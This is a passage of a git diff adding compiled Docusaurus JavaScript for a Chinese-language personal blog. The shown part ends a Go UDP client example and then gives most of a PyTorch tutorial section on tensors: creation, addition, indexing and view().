{\n\t\tfmt.Println("\u8fde\u63a5\u670d\u52a1\u7aef\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tdefer socket.Close()\n\tsendData := []byte("Hello server")\n\t_, err = socket.Write(sendData) // \u53d1\u9001\u6570\u636e\n\tif err != nil {\n\t\tfmt.Println("\u53d1\u9001\u6570\u636e\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tdata := make([]byte, 4096)\n\tn, remoteAddr, err := socket.ReadFromUDP(data) // \u63a5\u6536\u6570\u636e\n\tif err != nil {\n\t\tfmt.Println("\u63a5\u6536\u6570\u636e\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tfmt.Printf("recv:%v addr:%v count:%v\\n", string(data[:n]), remoteAddr, n)\n}\n'})})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>o,x:()=>c});var r=t(96540);const l={},i=r.createContext(l);function o(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:o(n.components),r.createElement(i.Provider,{value:e},n.children)}},41884:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/socket-a1cba0624ced26704d6ba8ebdda68f06.png"},55069:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/httptcpip-420226ff0d45f1a141f205c7efc4a18f.png"},59164:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/osi-e82a7781ad767efc826edc5fad474152.png"}}]); \ No newline at end of file diff --git a/en/assets/js/56add96f.de33c355.js b/en/assets/js/56add96f.de33c355.js new file mode 100644 index 0000000..4675a05 --- /dev/null +++ b/en/assets/js/56add96f.de33c355.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8676],{28453:(n,e,r)=>{r.d(e,{R:()=>c,x:()=>d});var s=r(96540);const t={},l=s.createContext(t);function c(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:c(n.components),s.createElement(l.Provider,{value:e},n.children)}},81213:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>i,contentTitle:()=>d,default:()=>x,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","title":"2.1 \u5f20\u91cf.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e8c\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"},"next":{"title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"}}');var t=r(74848),l=r(28453);const c={},d="2.1 \u5f20\u91cf.md",i={},h=[{value:"2.1.1 \u7b80\u4ecb",id:"211-\u7b80\u4ecb",level:2},{value:"2.1.2 \u521b\u5efatensor",id:"212-\u521b\u5efatensor",level:2},{value:"2.1.3 \u5f20\u91cf\u7684\u64cd\u4f5c",id:"213-\u5f20\u91cf\u7684\u64cd\u4f5c",level:2},{value:"2.1.4 \u5e7f\u64ad\u673a\u5236",id:"214-\u5e7f\u64ad\u673a\u5236",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"21-\u5f20\u91cfmd",children:"2.1 \u5f20\u91cf.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"21-\u5f20\u91cf",children:"2.1 \u5f20\u91cf"}),"\n",(0,t.jsxs)(e.p,{children:["\u4ece\u672c\u7ae0\u5f00\u59cb\uff0c\u6211\u4eec\u5c06\u5f00\u59cb\u4ecb\u7ecdPyTorch\u57fa\u7840\u77e5\u8bc6\uff0c\u672c\u7ae0\u6211\u4eec\u5c06\u4ecb\u7ecd\u5f20\u91cf\uff0c\u4ee5\u5e2e\u52a9\u5927\u5bb6\u5efa\u7acb\u8d77\u5bf9\u6570\u636e\u7684\u63cf\u8ff0\uff0c\u968f\u540e\u6211\u4eec\u518d\u4ecb\u7ecd\u5f20\u91cf\u7684\u8fd0\u7b97\uff0c\u6700\u540e\u518d\u8bb2PyTorch\u4e2d\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u7684\u6838\u5fc3\u5305 ",(0,t.jsx)(e.code,{children:"autograd "}),"\uff0c\u4e5f\u5c31\u662f\u81ea\u52a8\u5fae\u5206\uff0c\u4e86\u89e3\u5b8c\u8fd9\u4e9b\u5185\u5bb9\u6211\u4eec\u5c31\u53ef\u4ee5\u8f83\u597d\u5730\u7406\u89e3PyTorch\u4ee3\u7801\u4e86\u3002\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u5c06\u6570\u636e\u4ee5\u5f20\u91cf\u7684\u5f62\u5f0f\u8fdb\u884c\u8868\u793a\uff0c\u6bd4\u5982\u6211\u4eec\u7528\u4e09\u7ef4\u5f20\u91cf\u8868\u793a\u4e00\u4e2aRGB\u56fe\u50cf\uff0c\u56db\u7ef4\u5f20\u91cf\u8868\u793a\u89c6\u9891\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5f20\u91cf\u7684\u7b80\u4ecb"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u5982\u4f55\u521b\u5efa\u5f20\u91cf"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u5f20\u91cf\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u5f20\u91cf\u7684\u5e7f\u64ad\u673a\u5236"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"211-\u7b80\u4ecb",children:"2.1.1 \u7b80\u4ecb"}),"\n",(0,t.jsx)(e.p,{children:"\u51e0\u4f55\u4ee3\u6570\u4e2d\u5b9a\u4e49\u7684\u5f20\u91cf\u662f\u57fa\u4e8e\u5411\u91cf\u548c\u77e9\u9635\u7684\u63a8\u5e7f\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u5c06\u6807\u91cf\u89c6\u4e3a\u96f6\u9636\u5f20\u91cf\uff0c\u77e2\u91cf\u53ef\u4ee5\u89c6\u4e3a\u4e00\u9636\u5f20\u91cf\uff0c\u77e9\u9635\u5c31\u662f\u4e8c\u9636\u5f20\u91cf\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u5f20\u91cf\u7ef4\u5ea6"}),(0,t.jsx)(e.th,{children:"\u4ee3\u8868\u542b\u4e49"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"0\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u6807\u91cf\uff08\u6570\u5b57\uff09"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"1\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u5411\u91cf"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"2\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u77e9\u9635"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"3\u7ef4\u5f20\u91cf"}),(0,t.jsxs)(e.td,{children:["\u65f6\u95f4\u5e8f\u5217\u6570\u636e \u80a1\u4ef7 \u6587\u672c\u6570\u636e \u5355\u5f20\u5f69\u8272\u56fe\u7247(",(0,t.jsx)(e.strong,{children:"RGB"}),")"]})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u5f20\u91cf\u662f\u73b0\u4ee3\u673a\u5668\u5b66\u4e60\u7684\u57fa\u7840\u3002\u5b83\u7684\u6838\u5fc3\u662f\u4e00\u4e2a\u6570\u636e\u5bb9\u5668\uff0c\u591a\u6570\u60c5\u51b5\u4e0b\uff0c\u5b83\u5305\u542b\u6570\u5b57\uff0c\u6709\u65f6\u5019\u5b83\u4e5f\u5305\u542b\u5b57\u7b26\u4e32\uff0c\u4f46\u8fd9\u79cd\u60c5\u51b5\u6bd4\u8f83\u5c11\u3002\u56e0\u6b64\u53ef\u4ee5\u628a\u5b83\u60f3\u8c61\u6210\u4e00\u4e2a\u6570\u5b57\u7684\u6c34\u6876\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u6709\u4e00\u4e9b\u5b58\u50a8\u5728\u5404\u79cd\u7c7b\u578b\u5f20\u91cf\u7684\u516c\u7528\u6570\u636e\u96c6\u7c7b\u578b\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"3\u7ef4 = \u65f6\u95f4\u5e8f\u5217"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"4\u7ef4 = \u56fe\u50cf"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"5\u7ef4 = \u89c6\u9891"})}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u4f8b\u5b50\uff1a\u4e00\u4e2a\u56fe\u50cf\u53ef\u4ee5\u7528\u4e09\u4e2a\u5b57\u6bb5\u8868\u793a\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"(width, height, channel) = 3D\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u4f46\u662f\uff0c\u5728\u673a\u5668\u5b66\u4e60\u5de5\u4f5c\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u8981\u5904\u7406\u4e0d\u6b62\u4e00\u5f20\u56fe\u7247\u6216\u4e00\u7bc7\u6587\u6863\u2014\u2014\u6211\u4eec\u8981\u5904\u7406\u4e00\u4e2a\u96c6\u5408\u3002\u6211\u4eec\u53ef\u80fd\u670910,000\u5f20\u90c1\u91d1\u9999\u7684\u56fe\u7247\uff0c\u8fd9\u610f\u5473\u7740\uff0c\u6211\u4eec\u5c06\u7528\u52304D\u5f20\u91cf\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"(batch_size, width, height, channel) = 4D\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728PyTorch\u4e2d\uff0c ",(0,t.jsx)(e.code,{children:"torch.Tensor"})," \u662f\u5b58\u50a8\u548c\u53d8\u6362\u6570\u636e\u7684\u4e3b\u8981\u5de5\u5177\u3002\u5982\u679c\u4f60\u4e4b\u524d\u7528\u8fc7",(0,t.jsx)(e.code,{children:"NumPy"}),"\uff0c\u4f60\u4f1a\u53d1\u73b0 ",(0,t.jsx)(e.code,{children:"Tensor"})," \u548cNumPy\u7684\u591a\u7ef4\u6570\u7ec4\u975e\u5e38\u7c7b\u4f3c\u3002\u7136\u800c\uff0c",(0,t.jsx)(e.code,{children:"Tensor"})," \u63d0\u4f9bGPU\u8ba1\u7b97\u548c\u81ea\u52a8\u6c42\u68af\u5ea6\u7b49\uf901\u591a\u529f\u80fd\uff0c\u8fd9\u4e9b\u4f7f ",(0,t.jsx)(e.code,{children:"Tensor"})," \u8fd9\u4e00\u6570\u636e\u7c7b\u578b\u66f4\u52a0\u9002\u5408\u6df1\u5ea6\u5b66\u4e60\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"212-\u521b\u5efatensor",children:"2.1.2 \u521b\u5efatensor"}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u51e0\u79cd\u5e38\u89c1\u7684\u521b\u5efa",(0,t.jsx)(e.code,{children:"tensor"}),"\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u968f\u673a\u521d\u59cb\u5316\u77e9\u9635\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.rand()"}),"\u7684\u65b9\u6cd5\uff0c\u6784\u9020\u4e00\u4e2a\u968f\u673a\u521d\u59cb\u5316\u7684\u77e9\u9635\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"\nimport torch\nx = torch.rand(4, 3) \nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[0.7569, 0.4281, 0.4722],\n [0.9513, 0.5168, 0.1659],\n [0.4493, 0.2846, 0.4363],\n [0.5043, 0.9637, 0.1469]])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsxs)(e.li,{children:["\u51680\u77e9\u9635\u7684\u6784\u5efa\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.zeros()"}),"\u6784\u9020\u4e00\u4e2a\u77e9\u9635\u5168\u4e3a 0\uff0c\u5e76\u4e14\u901a\u8fc7",(0,t.jsx)(e.code,{children:"dtype"}),"\u8bbe\u7f6e\u6570\u636e\u7c7b\u578b\u4e3a long\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u901a\u8fc7torch.zero_()\u548ctorch.zeros_like()\u5c06\u73b0\u6709\u77e9\u9635\u8f6c\u6362\u4e3a\u51680\u77e9\u9635."]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.zeros(4, 3, dtype=torch.long)\nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u5f20\u91cf\u7684\u6784\u5efa\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.tensor()"}),"\u76f4\u63a5\u4f7f\u7528\u6570\u636e\uff0c\u6784\u9020\u4e00\u4e2a\u5f20\u91cf\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.tensor([5.5, 3]) \nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([5.5000, 3.0000])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"4",children:["\n",(0,t.jsx)(e.li,{children:"\u57fa\u4e8e\u5df2\u7ecf\u5b58\u5728\u7684 tensor\uff0c\u521b\u5efa\u4e00\u4e2a tensor \uff1a"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = x.new_ones(4, 3, dtype=torch.double) \n# \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u51681\u77e9\u9635tensor\uff0c\u8fd4\u56de\u7684tensor\u9ed8\u8ba4\u5177\u6709\u76f8\u540c\u7684torch.dtype\u548ctorch.device\n# \u4e5f\u53ef\u4ee5\u50cf\u4e4b\u524d\u7684\u5199\u6cd5 x = torch.ones(4, 3, dtype=torch.double)\nprint(x)\nx = torch.randn_like(x, dtype=torch.float)\n# \u91cd\u7f6e\u6570\u636e\u7c7b\u578b\nprint(x)\n# \u7ed3\u679c\u4f1a\u6709\u4e00\u6837\u7684size\n# \u83b7\u53d6\u5b83\u7684\u7ef4\u5ea6\u4fe1\u606f\nprint(x.size())\nprint(x.shape)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.]], dtype=torch.float64)\ntensor([[ 2.7311, -0.0720, 0.2497],\n [-2.3141, 0.0666, -0.5934],\n [ 1.5253, 1.0336, 1.3859],\n [ 1.3806, -0.6965, -1.2255]])\ntorch.Size([4, 3])\ntorch.Size([4, 3])\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd4\u56de\u7684torch.Size\u5176\u5b9e\u662f\u4e00\u4e2atuple\uff0c\u2f40\u6301\u6240\u6709tuple\u7684\u64cd\u4f5c\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u7d22\u5f15\u64cd\u4f5c\u53d6\u5f97\u5f20\u91cf\u7684\u957f\u3001\u5bbd\u7b49\u6570\u636e\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsxs)(e.ol,{start:"5",children:["\n",(0,t.jsx)(e.li,{children:"\u5e38\u89c1\u7684\u6784\u9020Tensor\u7684\u65b9\u6cd5\uff1a"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"right"},children:"\u51fd\u6570"}),(0,t.jsx)(e.th,{children:"\u529f\u80fd"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"Tensor(sizes)"}),(0,t.jsx)(e.td,{children:"\u57fa\u7840\u6784\u9020\u51fd\u6570"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"tensor(data)"}),(0,t.jsx)(e.td,{children:"\u7c7b\u4f3c\u4e8enp.array"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"ones(sizes)"}),(0,t.jsx)(e.td,{children:"\u51681"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"zeros(sizes)"}),(0,t.jsx)(e.td,{children:"\u51680"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"eye(sizes)"}),(0,t.jsx)(e.td,{children:"\u5bf9\u89d2\u4e3a1\uff0c\u5176\u4f59\u4e3a0"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"arange(s,e,step)"}),(0,t.jsx)(e.td,{children:"\u4eces\u5230e\uff0c\u6b65\u957f\u4e3astep"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"linspace(s,e,steps)"}),(0,t.jsx)(e.td,{children:"\u4eces\u5230e\uff0c\u5747\u5300\u5206\u6210step\u4efd"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"rand/randn(sizes)"}),(0,t.jsx)(e.td,{children:"rand\u662f[0,1)\u5747\u5300\u5206\u5e03\uff1brandn\u662f\u670d\u4eceN(0\uff0c1)\u7684\u6b63\u6001\u5206\u5e03"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"normal(mean,std)"}),(0,t.jsx)(e.td,{children:"\u6b63\u6001\u5206\u5e03(\u5747\u503c\u4e3amean\uff0c\u6807\u51c6\u5dee\u662fstd)"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"randperm(m)"}),(0,t.jsx)(e.td,{children:"\u968f\u673a\u6392\u5217"})]})]})]}),"\n",(0,t.jsx)(e.h2,{id:"213-\u5f20\u91cf\u7684\u64cd\u4f5c",children:"2.1.3 \u5f20\u91cf\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u51e0\u79cd\u5e38\u89c1\u7684\u5f20\u91cf\u7684\u64cd\u4f5c\u65b9\u6cd5\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u52a0\u6cd5\u64cd\u4f5c\uff1a"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\n# \u65b9\u5f0f1\ny = torch.rand(4, 3) \nprint(x + y)\n\n# \u65b9\u5f0f2\nprint(torch.add(x, y))\n\n# \u65b9\u5f0f3 in-place\uff0c\u539f\u503c\u4fee\u6539\ny.add_(x) \nprint(y)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\ntensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\ntensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\n\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsx)(e.li,{children:"\u7d22\u5f15\u64cd\u4f5c\uff1a(\u7c7b\u4f3c\u4e8enumpy)"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff1a\u7d22\u5f15\u51fa\u6765\u7684\u7ed3\u679c\u4e0e\u539f\u6570\u636e\u5171\u4eab\u5185\u5b58\uff0c\u4fee\u6539\u4e00\u4e2a\uff0c\u53e6\u4e00\u4e2a\u4f1a\u8ddf\u7740\u4fee\u6539\u3002\u5982\u679c\u4e0d\u60f3\u4fee\u6539\uff0c\u53ef\u4ee5\u8003\u8651\u4f7f\u7528copy()\u7b49\u65b9\u6cd5"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.rand(4,3)\n# \u53d6\u7b2c\u4e8c\u5217\nprint(x[:, 1]) \n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([-0.0720, 0.0666, 1.0336, -0.6965])\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"y = x[0,:]\ny += 1\nprint(y)\nprint(x[0, :]) # \u6e90tensor\u4e5f\u88ab\u6539\u4e86\u4e86\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([3.7311, 0.9280, 1.2497])\ntensor([3.7311, 0.9280, 1.2497])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ef4\u5ea6\u53d8\u6362\n\u5f20\u91cf\u7684\u7ef4\u5ea6\u53d8\u6362\u5e38\u89c1\u7684\u65b9\u6cd5\u6709",(0,t.jsx)(e.code,{children:"torch.view()"}),"\u548c",(0,t.jsx)(e.code,{children:"torch.reshape()"}),"\uff0c\u4e0b\u9762\u6211\u4eec\u5c06\u4ecb\u7ecd\u7b2c\u4e00\u4e2d\u65b9\u6cd5",(0,t.jsx)(e.code,{children:"torch.view()"}),"\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = torch.randn(4, 4)\ny = x.view(16)\nz = x.view(-1, 8) # -1\u662f\u6307\u8fd9\u4e00\u7ef4\u7684\u7ef4\u6570\u7531\u5176\u4ed6\u7ef4\u5ea6\u51b3\u5b9a\nprint(x.size(), y.size(), z.size())\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8: ",(0,t.jsx)(e.code,{children:"torch.view()"})," \u8fd4\u56de\u7684\u65b0",(0,t.jsx)(e.code,{children:"tensor"}),"\u4e0e\u6e90",(0,t.jsx)(e.code,{children:"tensor"}),"\u5171\u4eab\u5185\u5b58(\u5176\u5b9e\u662f\u540c\u4e00\u4e2a",(0,t.jsx)(e.code,{children:"tensor"}),")\uff0c\uf901\u6539\u5176\u4e2d\u7684\u4e00\u4e2a\uff0c\u53e6\u5916\u4e00\u4e2a\u4e5f\u4f1a\u8ddf\u7740\u6539\u53d8\u3002(\u987e\u540d\u601d\u4e49\uff0cview()\u4ec5\u4ec5\u662f\u6539\u53d8\uf9ba\u5bf9\u8fd9\u4e2a\u5f20\uf97e\u7684\u89c2\u5bdf\u89d2\u5ea6)"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x += 1\nprint(x)\nprint(y) # \u4e5f\u52a0\u4e86\u4e861\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[ 1.3019, 0.3762, 1.2397, 1.3998],\n [ 0.6891, 1.3651, 1.1891, -0.6744],\n [ 0.3490, 1.8377, 1.6456, 0.8403],\n [-0.8259, 2.5454, 1.2474, 0.7884]])\ntensor([ 1.3019, 0.3762, 1.2397, 1.3998, 0.6891, 1.3651, 1.1891, -0.6744,\n 0.3490, 1.8377, 1.6456, 0.8403, -0.8259, 2.5454, 1.2474, 